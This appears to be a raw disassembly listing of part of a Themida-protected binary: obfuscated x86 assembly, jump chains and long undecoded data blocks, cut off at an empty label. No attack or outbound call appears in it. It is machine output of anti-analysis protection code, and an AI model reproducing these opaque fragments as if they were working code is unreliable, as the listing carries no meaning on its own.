		dd 7DC60060h, 686E0060h, 0F4D30060h, 0B6740060h, 0CBE70060h
		dd 0E2BF0060h, 44F40060h, 3BBF0060h, 0A2D80060h, 39AB0060h
		dd 0E5C80060h, 0BC680060h, 4B450060h, 51D50060h, 0EA550060h
		dd 62B90060h, 0B94D0060h, 0A6AD0060h, 557B0060h, 0B13F0060h
		dd 0BCA60060h, 78B10060h, 54990060h, 94280060h,	46490060h
		dd 60440060h, 41D50060h, 0CBD40060h, 53260060h,	0B4A00060h
		dd 6B750060h, 8B230060h, 0DA5A0060h, 0E1FC0060h, 67B50060h
		dd 7C710060h, 8D690060h, 0E1B20060h, 99DA0060h,	5B3D0060h
		dd 759A0060h, 52160060h, 0DB230060h, 0A2200060h, 63820060h
		dd 0D4D90060h, 0B4A80060h, 79160060h, 0B5150060h, 9C9C0060h
		dd 0CE390060h, 90DC0060h, 408C0060h, 0E7BE0060h, 0E6940060h
		dd 41850060h, 57B60060h, 41A00060h, 0DCDE0060h,	7CE40060h
		dd 9DF30060h, 0D50A0060h, 0EAC10060h, 3D8E0060h, 0AD990060h
		dd 676E0060h, 0EB8A0060h, 0CA820060h, 4FDE0060h, 54FC0060h
		dd 854A0060h, 6CDD0060h, 74E00060h, 0AF480060h,	0F11E0060h
		dd 8C3D0060h, 0D3EE0060h, 0E2EB0060h, 0B4320060h, 7F9A0060h
		dd 696D0060h, 0C6070060h, 43400060h, 0BE410060h, 389C0060h
		dd 0BDF80060h, 54DE0060h, 9CA60060h, 66EE0060h,	67CF0060h
		dd 0A5CD0060h, 0AAA00060h, 0AEF50060h, 746D0060h, 61CC0060h
		dd 0DED50060h, 0F0980060h, 52C30060h, 3A870060h, 9DB80060h
		dd 83250060h, 0D6FC0060h, 3F2F0060h, 82FD0060h,	0CB9A0060h
		dd 6E120060h, 0AF360060h, 490D0060h, 0E0AD0060h, 0EEE20060h
		dd 0B4490060h, 70B60060h, 0E20C0060h, 67DF0060h, 730C0060h
		dd 0CB420060h, 0D2510060h, 4CB50060h, 49610060h, 0A6690060h
		dd 78C90060h, 5D610060h
		db 60h,	0
; ---------------------------------------------------------------------------


loc_603296:				; CODE XREF: Themida_:00655DFAj
					; Themida_:0067E3D8j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D69BF5h
		mov	eax, edi
		add	edi, 7D6990Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_6032B4
		jmp	short loc_6032C7
; ---------------------------------------------------------------------------


loc_6032B4:				; CODE XREF: Themida_:006032B0j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_6032C3
; ---------------------------------------------------------------------------


loc_6032BE:				; CODE XREF: Themida_:006032C5j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_6032C3:				; CODE XREF: Themida_:006032BCj
		or	ecx, ecx
		jnz	short loc_6032BE


loc_6032C7:				; CODE XREF: Themida_:006032B2j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_6032D4:				; CODE XREF: Themida_:006032DBj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_6032D4


loc_6032DD:				; CODE XREF: Themida_:00603C1Fj
					; Themida_:00604231j ...
		lodsb
		push	ebx
		jmp	loc_60A913
; ---------------------------------------------------------------------------


loc_6032E4:				; CODE XREF: Themida_:00606EC4j
		push	eax
		mov	eax, 25A70AF4h
		add	edx, eax
		pop	eax
		xor	edx, 925BD13Fh
		add	ebp, 62F37768h
		jmp	loc_60E4CC
; ---------------------------------------------------------------------------
		dw 20BFh
		dd 2D10F678h, 3C1E6EA9h, 2E68E62Dh, 53F8013Dh, 2E68E6BBh
		dd 5BD8013Dh, 4EC81h, 4E90000h,	80000043h, 0C1FE53C1h
		dd 0C008E1C0h, 0C9FE07E1h, 2092E980h, 60E959CEh, 2900007Fh
		dd 516859CBh, 0E9000034h, 0A810h, 33240C31h, 0FF5C240Ch
		dd 0E99C240Ch, 0FFFFFF85h, 281D6866h, 24048966h, 0FFFF78E9h
		dd 14B850FFh, 0F713115Dh, 0A103E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_603372:				; CODE XREF: Themida_:00603C99j
		pop	eax
		jmp	loc_60B0E1
; ---------------------------------------------------------------------------


loc_603378:				; CODE XREF: Themida_:0060C0C8j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_60B82B
; ---------------------------------------------------------------------------


loc_60339A:				; CODE XREF: Themida_:0060B96Ej
		pop	ecx


loc_60339B:				; CODE XREF: Themida_:00607A87j
					; Themida_:0060AB73j
		push	625Dh
		mov	[esp], eax
		push	3C10h
		mov	[esp], ecx
		mov	ecx, 24h
		push	ecx
		xor	dword ptr [esp], 5DAA2537h
		pop	eax
		push	edi
		mov	edi, 32280F09h
		or	edi, 0A47405Ah
		sub	edi, 1BD51FF3h
		and	edi, 1C0056FDh
		add	edi, 61206205h
		not	edi
		xor	edi, 0DF75B2A5h
		xor	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_60DDD3
; ---------------------------------------------------------------------------
		dd 4C481h, 89500000h, 4ABFE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6033F6:				; CODE XREF: Themida_:0060B46Ej
		mov	ecx, 25F37211h
		add	ebx, 0ADE7559h
		sub	ebx, ecx
		sub	ebx, 0ADE7559h
		pop	ecx
		sub	ebx, 39D075FBh
		add	ebx, eax
		add	ebx, 39D075FBh
		jmp	loc_60A4C9
; ---------------------------------------------------------------------------


loc_60341D:				; CODE XREF: Themida_:00609787j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		push	462h
		jmp	loc_60C77F
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 62h
		dd 3EFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_603439:				; CODE XREF: Themida_:0060A720j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_6068F1
; ---------------------------------------------------------------------------
		db 0B9h
		dd 50C71785h, 28B1E9h, 34FF5400h, 0D4E95B24h, 66000003h
		dd 0CE6866ADh, 0C074E969h, 4B90000h, 81000000h,	1C7B56C6h
		dd 980BE923h, 54500000h, 296F6858h, 3C890000h, 4BF24h
		dd 45050000h, 111C56Fh,	6F452DF8h, 0FE911C5h, 54000007h
		dd 4EC815Fh, 89000000h,	0B9512404h, 6B763036h, 5678DEB8h
		dd 0E9C8315Fh, 4240h, 6BC96856h, 8F540000h, 4832404h, 34FF0424h
		dd 0C4835E24h, 4C68104h, 56000000h, 0C681E689h,	4, 4EE81h
		dd 34870000h, 3C895C24h, 2BF24h, 2E90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6034F3:				; CODE XREF: Themida_:00605321j
		and	ecx, ebp
		mov	ebp, [esp]
		push	7D45h
		jmp	loc_6074F3
; ---------------------------------------------------------------------------


loc_603502:				; CODE XREF: Themida_:006085A8j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_60501C
; ---------------------------------------------------------------------------


loc_603510:				; CODE XREF: Themida_:00608E63j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_606BBB
; ---------------------------------------------------------------------------


loc_603524:				; CODE XREF: Themida_:0060A288j
		push	esi
		push	edi
		mov	edi, 413872D6h
		mov	esi, 8459DD83h
		sub	esi, edi
		pop	edi
		mov	edi, esi
		pop	esi
		jmp	loc_606F68
; ---------------------------------------------------------------------------
		db 83h
		dd 0F83004C4h, 6F3B685Bh, 14890000h, 0E96CB224h, 248Ah
		dd 1B5EB6BFh, 76DFE94Dh, 14870000h, 0EA815A24h,	56BD53FFh
		dd 6D0CF281h, 0D7012953h, 5A2434FFh, 80D0E9h, 81E28900h
		dd 4C2h, 4C28300h, 187CE9h
		db 0
; ---------------------------------------------------------------------------


loc_603585:				; CODE XREF: Themida_:0060B872j
		sub	ebx, 4
		jmp	loc_604FB6
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 4292424h,	3EE99C24h, 5CFFFFFDh, 26EEE9h
		dd 241C3100h, 5C241C33h, 4C781h, 0C7810000h, 2,	2231E950h
		dd 0F7810000h, 0C1B3Eh,	3C8BFA01h, 4C48324h, 0E9241487h
		dd 8918h, 51243C8Bh, 0C181E189h, 4, 0A845E9h, 2434FF00h
		dd 9BDDE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6035EE:				; CODE XREF: Themida_:0060F07Fj
		sub	eax, edi
		pop	edi
		sub	[esp+4], eax
		pop	eax
		jmp	loc_604C34
; ---------------------------------------------------------------------------


loc_6035FB:				; CODE XREF: Themida_:0060AB40j
		push	0CB4D20F1h
		jmp	loc_60B8C3
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 3
		dd offset dword_5C805C+78Dh
		db 0
; ---------------------------------------------------------------------------


loc_60360D:				; CODE XREF: Themida_:00605B74j
		add	ebp, 43216AADh
		jmp	loc_60968E
; ---------------------------------------------------------------------------
		dd 4BAh, 29EE8100h, 160E233h, 29B951D6h, 160E233h, 34FF59CEh
		dd 9FA7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_603636:				; CODE XREF: Themida_:00606354j
		add	ecx, eax
		jmp	loc_604D2A
; ---------------------------------------------------------------------------
		db 0BFh, 0ADh, 76h
		dd 0FE292AF9h, 81C6015Fh, 0F976ADC6h, 0C681582Ah, 4, 8B243487h
		dd 0BF0F2424h, 4EC83C8h, 89240C89h, 462468E1h, 1C890000h
		dd 2FB8BB24h, 0BD550AC3h, 7EDF1F0Eh, 288FE9h, 66F16800h
		dd 24890000h, 24048124h, 4, 4C3815Bh, 51000000h, 3D6CE9h
		dd 0E9FE8700h, 5AE7h
; ---------------------------------------------------------------------------


loc_6036A0:				; CODE XREF: Themida_:0060C79Fj
		push	6886h
		mov	[esp], ecx
		mov	ch, 3Bh
		mov	ah, 1Fh
		sub	ah, ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	dl, ah
		mov	eax, [esp]
		add	esp, 4
		and	al, dl
		jmp	loc_60EB5F
; ---------------------------------------------------------------------------
aZs_0		db 'Z',27h,'',0
		align 4
a1Zsoq		db '1ZQ',0
		align 4


loc_6036E4:				; CODE XREF: Themida_:00604E50j
		mov	ecx, [esp]
		jmp	loc_60507A
; ---------------------------------------------------------------------------
		dd 0C8B5A58h, 4C48124h,	80000000h, 0C3FE05C3h, 80F4E380h
		dd 0DBF66AEBh, 9BB15166h, 8B66CB30h, 0C481240Ch, 2, 11B0E9h
		dd 21E95100h, 6800009Fh, 4464h,	5B03E9h, 4FE98000h, 8E7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_603731:				; CODE XREF: Themida_:00607E4Fj
		add	ebp, edi
		pop	edi
		xor	ebp, 2B37E32h
		shr	ebp, 1
		jmp	loc_6073F1
; ---------------------------------------------------------------------------
		db 88h,	0CAh, 88h
		dd 5A018754h, 0E92434FFh, 6613h, 0FA00B2B7h, 0C2805B66h
		dd 0D088500Bh, 8B58C188h, 0B5E92414h, 0B800008Fh, 75EE3412h
		dd 0E959C831h, 6FB1h
; ---------------------------------------------------------------------------


loc_603774:				; CODE XREF: Themida_:0060D837j
		push	esi
		jmp	loc_605E11
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0C5815EF5h, 4, 0E9242C87h,	8B6Fh, 5E5AD789h
		dd 3C8BF901h, 11ADE924h, 0BA520000h, 71D35343h,	47A662Dh
		dd 5D02962h, 62047A66h,	68DE2D5Ah, 0D801005Ah, 5A68DE05h
		dd 53430500h, 685B71D3h, 5AD2h,	0BD242C89h, 73EF41ACh
		dd 0E9FFED83h, 27Fh, 0C9B4AAB3h, 803BC480h, 0DC009EECh
		dd 809EC480h, 0E95B3BECh, 0E47h
; ---------------------------------------------------------------------------


loc_6037F0:				; CODE XREF: Themida_:0060D599j
		sub	edx, 409555E9h
		pop	esi
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	esi
		jmp	loc_6041E4
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2474FF24h, 48F5B04h,	36E95C24h, 680000A0h, 6809h, 0E9241489h
		dd 0FFFFFDF8h, 2C1835Fh, 8B240C87h, 85662424h, 0AAE99CC8h
		dd 50FFFFFAh, 405E089h,	0E9000000h, 0B3ABh
; ---------------------------------------------------------------------------


loc_603840:				; CODE XREF: Themida_:00607457j
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 7A41D74h
		xor	esi, 23943F66h
		neg	esi
		jmp	loc_60A593
; ---------------------------------------------------------------------------
		dd 0C007E3C0h, 0E95103E3h, 240Ch, 0B8505D54h, 0F6D738Dh
		dd 970AE9h, 5A406800h, 465E2957h, 379ECE81h, 0F6812B56h
		dd 2B577FDFh, 295EF789h, 0FE07E9F7h, 9FB3FFFFh,	0E95BD828h
		dd 18FDh, 0E9028F66h, 0FFFFFA39h
; ---------------------------------------------------------------------------


loc_6038A4:				; CODE XREF: Themida_:006048A1j
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_606EDF
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815B24h, 4, 24048B66h, 81E28952h,	4C2h, 2C28300h
		dd 5C241487h, 8B66E800h, 0C481240Ch, 2,	4EC81h,	14890000h
		dd 0B5516624h, 0E9EE889Ah, 0B7B9h
; ---------------------------------------------------------------------------


loc_6038F4:				; CODE XREF: Themida_:00607984j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_60A559
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 8EEB8107h, 0C1032902h, 0A1E907EBh, 8B00004Ch, 0BCE9240Ch
		dd 5C00002Eh, 31240433h, 99E92404h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_603927:				; CODE XREF: Themida_:0060DD91j
		add	ebp, edi
		pop	edi
		jmp	loc_60A8B6
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8662404h, 0D667D81h, 2D6650FFh, 3166BD7Bh,	896658C7h
		dd 2D665FFEh, 53E948E4h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60394F:				; CODE XREF: Themida_:006068F5j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	35E5h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		jmp	loc_607BD5
; ---------------------------------------------------------------------------
		dw 6851h
		dd 38960A12h, 82CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_603981:				; CODE XREF: Themida_:006052A1j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_60ACC3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 750BE924h, 0C6810000h, 4,	4EE81h,	95E90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6039C7:				; CODE XREF: Themida_:0060ED9Ej
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		jmp	loc_60C842
; ---------------------------------------------------------------------------
aI4THK		db '4$T^h"K',0
		dw 8900h
		dd 4B9240Ch, 1000000h, 895359CEh, 4C381E3h, 81000000h
		dd 4EBh, 241C3300h, 0E9241C31h,	830Fh, 24048B66h, 81E28952h
		dd 4ECh, 240C8900h, 1F4BBB53h, 0E3C1602Ah, 0EB814B08h
		dd 6C031B4Bh, 8108EBC1h, 753710F3h, 84E4E94Fh, 0C330000h
		dd 240C3124h, 5C240C33h, 0B9240C89h, 11CD63DDh,	78AFC181h
		dd 77E90782h, 0F700003Ah, 0FFC581D5h, 0E9FFFFFFh, 254Bh
		dd 2B8h, 0E9C38900h, 27E1h
; ---------------------------------------------------------------------------


loc_603A70:				; CODE XREF: Themida_:00607746j
		mov	dl, ch
		pop	ecx
		sub	cl, dl
		pop	edx
		xor	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_60EEB0
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 7592h
; ---------------------------------------------------------------------------


loc_603A90:				; CODE XREF: Themida_:0060C36Cj
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_60C325
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 5A000000h,	4C281h,	0BE560000h, 2, 0E95EF201h
		dd 2E4Ah, 0E950E689h, 1937h
; ---------------------------------------------------------------------------


loc_603AC8:				; CODE XREF: Themida_:00604568j
		add	eax, 6DE01AC8h
		push	ebx
		jmp	loc_60AD8E
; ---------------------------------------------------------------------------


loc_603AD3:				; CODE XREF: Themida_:006085E2j
		and	edx, 564812AAh
		jmp	loc_609C88
; ---------------------------------------------------------------------------
		dw 0F809h
		dd 0B3D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_603AE5:				; CODE XREF: Themida_:00604EACj
		mov	edi, 53E17034h
		push	edi
		jmp	loc_60D0C8
; ---------------------------------------------------------------------------
		dd 7F6CC781h, 0E9585354h, 3A52h, 0DAE95E66h, 81FFFFF7h
		dd 0FFFFFFEEh, 814E4EFFh, 4268C2CEh, 36BA521Ch,	0E977174Dh
		dd 6982h, 34FF31FFh, 9EF4E924h,	0E1890000h, 4C181h, 53550000h
		dd 607680BBh, 33BD5547h, 0E972B128h, 5276h
; ---------------------------------------------------------------------------


loc_603B40:				; CODE XREF: Themida_:00607AFEj
		add	edi, 59416F66h
		mov	ecx, edi
		pop	edi
		add	ebp, 12D124Eh
		sub	ebp, ecx
		sub	ebp, 12D124Eh
		jmp	loc_608ED1
; ---------------------------------------------------------------------------
		dd 5C243487h, 0B8240489h, 29C52D76h, 0FC11BF2Dh, 0C0A2D07h
		dd 0C331C91Dh, 2440E9h,	0C8B6600h, 0E6895624h, 4EC81h
		dd 0C890000h, 0F8DCE924h, 0E789FFFFh, 4C781h, 32E90000h
		dd 280000A4h, 403DE9FEh, 3C870000h, 0B815E924h,	685F0000h
		dd 387Eh, 0BE243489h, 2, 5AE9F001h, 0FF000026h,	0F717E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_603BC6:				; CODE XREF: Themida_:0060CEF4j
		pop	esp
		mov	dx, [esp]
		push	68ECh
		mov	[esp], edx
		push	esp
		pop	edx
		push	3EA1h
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_606792
; ---------------------------------------------------------------------------


loc_603BF2:				; CODE XREF: Themida_:0060A1D0j
		xchg	ecx, edx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_60EF6C
; ---------------------------------------------------------------------------


loc_603C14:				; CODE XREF: Themida_:00605171j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		dd 13F7E681h, 0EE814488h, 0F377D35h, 8357EE81h,	9BE9F0C8h
		dd 660000A5h, 51240C8Bh, 8FE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_603C46:				; CODE XREF: Themida_:0060AAE5j
		mov	edx, 370218D2h
		add	edi, edx
		jmp	loc_60D71C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 0FFFFF67Dh, 0F681D6F7h, 5FD27DAh
		dd 81A6E9h, 0E3815D00h,	42E71744h, 8108E3C1h, 7DCF34C3h
		dd 5B5A535Bh, 55AD089h,	0FD57BC35h, 48BC589h, 4C48324h
		dd 0CE9E829h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_603C97:				; CODE XREF: Themida_:00604F45j
		sub	edx, eax
		jmp	loc_603372
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2E05E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_603CA6:				; CODE XREF: Themida_:00603EA9j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_605546
; ---------------------------------------------------------------------------
		db 81h
		dd 806348EAh, 14875827h, 0C4815C24h, 4,	0FF2434FFh, 0C8B2434h
		dd 4C48324h, 7E7BE9h, 2434FF00h, 0E1895159h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 8904EC83h, 41BF243Ch, 0F7040719h, 7EFC1D7h
		dd 3287C781h, 6866CBh, 29000000h, 555F243Ch, 0B209E9h
		dd 455ABE00h, 78E97433h, 29000088h, 243C8BFAh, 0E904C483h
		dd 2631h, 348BF331h, 4C48324h, 3B89E9h,	496CBD00h, 0F5810024h
		dd 0BEB3416h, 0F706E5C1h, 7FED81DDh, 0E90C20A1h, 46DEh
; ---------------------------------------------------------------------------


loc_603D50:				; CODE XREF: Themida_:0060E99Aj
		sub	ebx, 24BD39F7h
		add	ebx, ecx
		add	ebx, 24BD39F7h
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebx]
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	74D0h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	318h
		mov	[esp], esi
		jmp	loc_609CB8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6857240Ch, 4C14h, 0AE7AE9h, 9DC68000h, 0E9AEB151h, 0FFFFF57Bh
		dd 0BE243489h, 4, 6EEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_603DB5:				; CODE XREF: Themida_:006050FBj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_605E8B
; ---------------------------------------------------------------------------
aSp7		db '\p7',0
		align 2
		dw 28Fh
		dd 0FFF510E9h, 2414F7FFh, 4F4F3558h, 0C501FC43h, 0A5BE5658h
		dd 0F7038B7Fh, 81DEF7D6h, 0AE6887E6h, 0B099E91Ch, 48F0000h
		dd 46E95C24h, 68000068h, 43C0h,	9C51E9h, 24343300h, 33243431h
		dd 0E95C2434h, 78C3h
; ---------------------------------------------------------------------------


loc_603E10:				; CODE XREF: Themida_:00608935j
		mov	edi, 5CC20A1Fh
		sub	ecx, edi
		pop	edi
		jmp	loc_60C286
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 3DBF5755h, 813C3D58h, 93342E7h, 1FC78152h, 0E969D73Dh
		dd 9EFFh, 64E9DEF7h, 81000051h,	3E13F9F6h, 872FE96Eh, 0CB010000h
		dd 0A345E9h, 0C875B00h,	0FAC1E924h, 4B9FFFFh, 1000000h
		dd 0FF04244Ch, 83592434h, 6EE904C4h, 5FFFFFF4h,	6802C083h
		dd 553Eh, 0FF240489h, 8B042474h, 0C4832404h, 24048F04h
		dd 4DFEE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_603E8E:				; CODE XREF: Themida_:0060C631j
		pop	eax
		sub	edx, 0F48687BCh
		xor	ecx, edx
		pop	edx
		push	5A2Ch
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_605800
; ---------------------------------------------------------------------------


loc_603EA8:				; CODE XREF: Themida_:0060CC1Cj
		push	ecx
		jmp	loc_603CA6
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 303FE9h
		db 0
; ---------------------------------------------------------------------------


loc_603EB9:				; CODE XREF: Themida_:0060F1D4j
		push	0
		add	dword ptr [esp], 2BDA6042h
		sub	[esp], ebp
		sub	dword ptr [esp], 2BDA6042h
		pop	ebp
		not	ebp
		add	ebp, 475623F1h
		sub	ebp, 1
		sub	ebp, 476538A0h
		mov	eax, ebp
		pop	ebp
		jmp	loc_608289
; ---------------------------------------------------------------------------
		dd 27D7BB53h, 0DE095D40h, 1059E95Bh, 44010000h,	8B580424h
		dd 0EEE9243Ch
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_603F07:				; CODE XREF: Themida_:00609FFBj
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_6047EC
; ---------------------------------------------------------------------------


loc_603F19:				; CODE XREF: Themida_:0060CC80j
		mov	ebp, [esp]
		jmp	loc_60E50E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8F04C483h, 62E92404h, 0FF000060h, 669D1C77h,	2414D359h
		dd 0F39FE99Ch, 0CA29FFFFh, 23E95859h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_603F47:				; CODE XREF: Themida_:00605085j
		pop	ebp
		add	esp, 4
		jmp	loc_60F105
; ---------------------------------------------------------------------------


loc_603F53:				; CODE XREF: Themida_:00606484j
		sub	[edi+24h], eax
		pop	eax
		jmp	loc_60F513
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 1BB1h, 0C581D5F7h, 5C3D056Ah, 8103EDC1h
		dd 0A66ECFF5h, 8DF58164h, 2D6F9EA4h, 3606CDh, 0CD05E829h
		dd 5D003606h, 0D5634305h, 56D82942h, 34F4E9h, 0C8B6600h
		dd 5D545524h, 8857E9h, 2434FF00h, 5124048Bh, 0C1815954h
		dd 4, 7A37E9h
		db 0
; ---------------------------------------------------------------------------


loc_603FB5:				; CODE XREF: Themida_:00606E6Aj
		add	esp, 4
		jmp	loc_60DA36
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd offset dword_5B0A7C+16Dh
		db 0
; ---------------------------------------------------------------------------


loc_603FC5:				; CODE XREF: Themida_:00607B2Bj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_605429
; ---------------------------------------------------------------------------
		dd 0D058C688h, 50CEFEEEh, 0D4F6F488h, 0DEE9E688h, 8100009Dh
		dd 4C7h, 243C8700h, 6824248Bh, 303Dh, 68240489h, 66DCh
		dd 0B9240C89h, 24h, 0C8BC889h, 4C48124h, 0E9000000h, 5365h
		dd 0FF24248Bh
		db 34h,	24h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_60D573
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 8Bh
		dd 4F50FE00h, 32C0E9h, 240C3300h, 242C895Ch, 4A24E956h
		dd 835E0000h, 59E904C4h, 0F600006Dh, 2CC980D9h,	0C06BC180h
		dd 0F18007E9h, 9FB551A0h, 0C8BE800h, 4C48324h, 9F2CC800h
		dd 83B80459h, 896602ECh, 0B252240Ch, 21C2802Ch,	0E97FEA80h
		dd 3B3Dh, 24048B66h, 686C6857h,	0AB680000h, 8900005Eh
		dd 4812424h, 424h, 24048F00h, 4B951h, 4C010000h, 75E90424h
		dd 68000036h, 744Fh, 54241489h,	5124148Bh, 0C9E9E189h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6040CB:				; CODE XREF: Themida_:006047F9j
		mov	ebp, 5F896B87h
		jmp	loc_606C92
; ---------------------------------------------------------------------------


loc_6040D5:				; CODE XREF: Themida_:0060E8EAj
		add	ebp, 3A3E5010h
		sub	ebp, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3A3E5010h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_60F384
; ---------------------------------------------------------------------------


loc_604104:				; CODE XREF: Themida_:006051F3j
		inc	esi
		push	4740h
		mov	[esp], ebp
		mov	ebp, 1AD45329h
		dec	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 8
		xor	ebp, 372BFCD7h
		and	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4AE27A4Fh
		and	ecx, 2A437407h
		xor	ecx, 3C0663E5h
		jmp	loc_608188
; ---------------------------------------------------------------------------
		db 54h
		dd 4BA5258h, 1000000h, 8ADEE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60414A:				; CODE XREF: Themida_:0060D345j
		mov	[esp], ebp
		mov	ebp, 5EC97858h
		sub	ebp, 7AE17237h
		shr	ebp, 2
		push	edi
		push	51F8h
		mov	[esp], ebp
		mov	ebp, 2BFE4476h
		mov	edi, 1563F45Ch
		add	edi, ebp
		pop	ebp
		or	ebp, edi
		pop	edi
		dec	ebp
		not	ebp
		add	ebp, 0C6034563h
		sub	edx, ebp
		pop	ebp
		jmp	loc_6045CA
; ---------------------------------------------------------------------------
aM0Hd9		db '0hD9',0
		dd 24148900h, 0B5516653h, 325E944h, 0E9510000h,	529Fh
		dd 68h,	241C8B00h, 6C7168h, 240C8900h, 4EC81h, 8F540000h
		dd 4812404h, 424h, 0BA525900h, 6D745C59h, 0EA81D2F7h, 10C179BEh
		dd 8906E9h, 1C77FF00h, 0D259669Dh, 0E99C241Ch, 6A07h
; ---------------------------------------------------------------------------


loc_6041E4:				; CODE XREF: Themida_:006037FDj
		mov	esi, 72040755h
		or	esi, 62C3420Fh
		jmp	loc_60C469
; ---------------------------------------------------------------------------
		dd 0E99CC884h, 0FFFFF0E1h, 0C281E289h, 4, 8704C283h, 0FF5C2414h
		dd 0E92434h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_604213:				; CODE XREF: Themida_:0060506Dj
